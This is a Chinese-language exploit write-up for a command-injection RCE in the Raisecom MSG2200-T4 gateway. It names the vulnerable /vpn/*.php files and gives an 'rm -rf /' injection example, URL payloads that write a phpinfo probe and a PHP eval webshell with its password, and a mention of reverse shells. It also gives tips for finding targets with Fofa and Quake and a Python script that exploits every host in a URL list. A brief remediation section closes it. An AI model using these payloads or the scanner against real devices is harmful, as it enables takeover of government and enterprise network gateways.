RCE复现 | 瑞斯康达智能网关RCE漏洞
字数 1281 2025-09-01 11:26:17
瑞斯康达智能网关RCE漏洞分析与复现指南
0x01 漏洞概述
受影响设备: MSG2200-T4型号瑞斯康达多业务智能网关
厂商: 瑞斯康达科技发展股份有限公司
设备用途: 集数据、语音、安全、无线等多种功能于一体的网络设备,专为中小企业及行业分支机构设计,广泛应用于政企单位、商务楼宇、校园、工业园区等场景。
漏洞类型: 远程命令执行(RCE)
漏洞危害: 攻击者可通过构造恶意请求在目标设备上执行任意系统命令,获取系统控制权。
0x02 漏洞分析
漏洞文件定位
主要漏洞文件位于: /vpn/list_base_config.php
漏洞参数
可利用的参数包括:
typepartspagesserch_value
漏洞触发流程
- 当
parts参数值为'base_config'时,进入对应case分支 - 在
'base_config'分支中,当type参数为'mod'时,调用obj_sslvpn对象的sslvpn_config_mod(2)方法 - 在
sslvpn_config_mod方法中,未对用户输入的template和stylenum参数进行过滤,直接拼接执行系统命令
漏洞代码分析
漏洞核心代码特征:
// 直接使用用户输入构造系统命令
$cmd = "cp /www/tmp/".$_REQUEST['template']." /www/tmp/".$_REQUEST['stylenum'];
system($cmd);
命令注入示例
攻击者可构造如下恶意输入:
template=`rm -rf /`
导致执行:
cp /www/tmp/`rm -rf /` /www/tmp/[stylenum值]
0x03 影响范围
除/vpn/list_base_config.php外,以下文件也存在类似漏洞:
/vpn/list_ip_network.php/vpn/list_service_manage.php/vpn/list_vpn_web_custom.php/vpn/vpn_template_style.php
0x04 漏洞复现
准备工作
- 使用网络空间搜索引擎(如Quake、Fofa)搜索瑞斯康达网关资产
- 识别特征: 特定网页样式和功能
基础验证POC
步骤1: 构造命令执行Payload
http://[目标IP]/vpn/list_base_config.php?type=mod&parts=base_config&template=`echo -e '<?php phpinfo();unlink(__FILE__);?>'>/www/tmp/test.php`
步骤2: URL编码Payload
将上述Payload进行URL编码后访问:
http://127.0.0.1/vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo+-e+%27%3C%3Fphp+phpinfo%28%29%3Bunlink%28__FILE__%29%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Ftest.php%60
步骤3: 验证漏洞存在
访问生成的phpinfo页面:
http://[目标IP]/tmp/test.php
若显示phpinfo页面则确认漏洞存在
深入利用
方法1: 写入Webshell
http://[目标IP]/vpn/list_base_config.php?type=mod&parts=base_config&template=`echo -e '<?php eval($_POST[cmd]);?>'>/www/tmp/shell.php`
使用蚁剑等工具连接:
- 地址:
http://[目标IP]/tmp/shell.php - 密码:
cmd
方法2: 反弹Shell
构造反弹shell命令并URL编码后执行
0x05 批量检测脚本
Python检测脚本示例:
import requests
from urllib.parse import quote
def check_vuln(url):
payload = "`echo -e '5201314'>/www/tmp/test.php`"
encoded_payload = quote(payload)
target = f"{url}/vpn/list_base_config.php?type=mod&parts=base_config&template={encoded_payload}"
try:
requests.get(target, timeout=5)
verify_url = f"{url}/tmp/test.php"
resp = requests.get(verify_url, timeout=5)
if "5201314" in resp.text:
print(f"[+] Vulnerable: {url}")
# 清理测试文件
clean_payload = "`rm /www/tmp/test.php`"
requests.get(f"{url}/vpn/list_base_config.php?type=mod&parts=base_config&template={quote(clean_payload)}")
else:
print(f"[-] Not vulnerable: {url}")
except Exception as e:
print(f"[!] Error checking {url}: {str(e)}")
if __name__ == "__main__":
with open("url.txt", "r") as f:
for line in f:
url = line.strip()
if url:
check_vuln(url)
0x06 修复方案
1. 输入验证
对用户输入进行严格验证:
if (!preg_match('/^[a-zA-Z0-9_]+$/', $_REQUEST['template'])) {
die("Invalid template parameter");
}
2. 安全命令执行
使用参数化方式执行命令:
$template = escapeshellarg($_REQUEST['template']);
$stylenum = escapeshellarg($_REQUEST['stylenum']);
$cmd = "cp /www/tmp/{$template} /www/tmp/{$stylenum}";
system($cmd);
3. 权限控制
- Web服务器以最低权限运行
- 限制关键目录的写权限
4. 日志监控
- 记录所有执行的系统命令
- 监控异常访问行为
5. 补丁更新
联系厂商获取最新安全补丁并应用
0x07 总结
该漏洞由于未对用户输入进行过滤,导致攻击者可通过构造恶意参数执行任意系统命令。建议所有使用瑞斯康达MSG2200-T4智能网关的用户立即检查系统安全性,并按照修复方案进行防护。